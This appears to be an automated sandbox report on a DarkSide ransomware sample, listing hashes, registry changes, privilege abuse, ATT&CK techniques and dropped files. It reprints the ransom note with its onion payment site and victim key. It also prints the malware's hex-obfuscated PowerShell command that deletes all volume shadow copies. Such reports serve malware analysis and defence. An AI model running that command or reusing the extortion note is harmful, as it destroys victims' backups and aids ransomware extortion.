Analysis
- max time kernel
149s - max time network
98s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
24/05/2026, 01:34
Static task
static1
Behavioral task
behavioral1
Sample
sub_fb76b4a667c6.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
sub_fb76b4a667c6.exe
Resource
win11-20260513-en
General
- Target sub_fb76b4a667c6.exe
- Size 59KB
- Sample260524-by58ashs2w
- SHA256 fb76b4a667c6d790c39fcc93a3aac8cd2a224f0eb9ece4ecfd7825f606c2a8b6
- MD5 29bcd459f5ddeeefad26fc098304e786
- SHA1 076d0d8d07368ef680aeb0c08f7f2e624c46cbc5
- SHA512 a2e909957023851c8a0d74c9a658b16e0c0efaf39497ecabd9775ce37381c0e2207c4158786dd37ef0dd6e99523e6994f95248216593750107b67f62f7a0bce0
- SSDEEP 768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1ylQ+IxGY23W5ot:BpDtG4nMpboDTV1ylnIfZ5i
- TLSH T1C5535D3D73E1D1B7EE600EB41D893BB382896F3239629D0BC2542F58A6B0D375A27507
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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C:\Users\Admin\README.76af3fbd.TXT
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darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
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http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
- Family: DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (141) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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pid Process 2392 powershell.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\76af3fbd.BMP" sub_fb76b4a667c6.exe Set value (str) \REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\76af3fbd.BMP" sub_fb76b4a667c6.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sub_fb76b4a667c6.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\WallpaperStyle = "10" sub_fb76b4a667c6.exe - Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\76af3fbd\DefaultIcon sub_fb76b4a667c6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\76af3fbd sub_fb76b4a667c6.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\76af3fbd\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\76af3fbd.ico" sub_fb76b4a667c6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.76af3fbd sub_fb76b4a667c6.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.76af3fbd\ = "76af3fbd" sub_fb76b4a667c6.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2392 powershell.exe 2392 powershell.exe 4616 sub_fb76b4a667c6.exe 4616 sub_fb76b4a667c6.exe - Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4616 sub_fb76b4a667c6.exe Token: SeSecurityPrivilege 4616 sub_fb76b4a667c6.exe Token: SeTakeOwnershipPrivilege 4616 sub_fb76b4a667c6.exe Token: SeLoadDriverPrivilege 4616 sub_fb76b4a667c6.exe Token: SeSystemProfilePrivilege 4616 sub_fb76b4a667c6.exe Token: SeSystemtimePrivilege 4616 sub_fb76b4a667c6.exe Token: SeProfSingleProcessPrivilege 4616 sub_fb76b4a667c6.exe Token: SeIncBasePriorityPrivilege 4616 sub_fb76b4a667c6.exe Token: SeCreatePagefilePrivilege 4616 sub_fb76b4a667c6.exe Token: SeBackupPrivilege 4616 sub_fb76b4a667c6.exe Token: SeRestorePrivilege 4616 sub_fb76b4a667c6.exe Token: SeShutdownPrivilege 4616 sub_fb76b4a667c6.exe Token: SeDebugPrivilege 4616 sub_fb76b4a667c6.exe Token: SeSystemEnvironmentPrivilege 4616 sub_fb76b4a667c6.exe Token: SeRemoteShutdownPrivilege 4616 sub_fb76b4a667c6.exe Token: SeUndockPrivilege 4616 sub_fb76b4a667c6.exe Token: SeManageVolumePrivilege 4616 sub_fb76b4a667c6.exe Token: 33 4616 sub_fb76b4a667c6.exe Token: 34 4616 sub_fb76b4a667c6.exe Token: 35 4616 sub_fb76b4a667c6.exe Token: 36 4616 sub_fb76b4a667c6.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeBackupPrivilege 3816 vssvc.exe Token: SeRestorePrivilege 3816 vssvc.exe Token: SeAuditPrivilege 3816 vssvc.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4616 wrote to memory of 2392 4616 sub_fb76b4a667c6.exe 82 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\sub_fb76b4a667c6.exe"C:\Users\Admin\AppData\Local\Temp\sub_fb76b4a667c6.exe"1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3816
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
- MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
- SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
- SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
- TLSH T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 48c69824555f42932cc2a1272a03be650dde58a10239ba282e9314ec13ed273a
- MD5 8f16eb240c6168b41004cca7306484e6
- SHA1 da34df40f9b1d5b0f9fd49bd1d467879fb40cb06
- SHA512 96c4a859b024e531124139c28bebd4d6f53de3ae7bc378ea3c7662452525d4020d1a76f851651174418cae620c340e8677516a3a70933b2ff2cce6a71a349063
- TLSH T17E218633B3ACC135C8D9157A208CAD01B2B5C3C7449ECE8B7B84C508A57F98ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhsgfr1m.nas.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\README.76af3fbd.TXT
- Size 1KB
- SHA256 b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09
- MD5 f418a249405444da33cc73b402a26306
- SHA1 1a6c493e74036f93f0dae4b65e6c543c213ce418
- SHA512 b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf
- TLSH T1FC41D72FAF2865004BE1E7F33B648DB3D313026472B58E4ABD16B028439A6B6583D158
- MD5 SHA1 SHA512 TLSH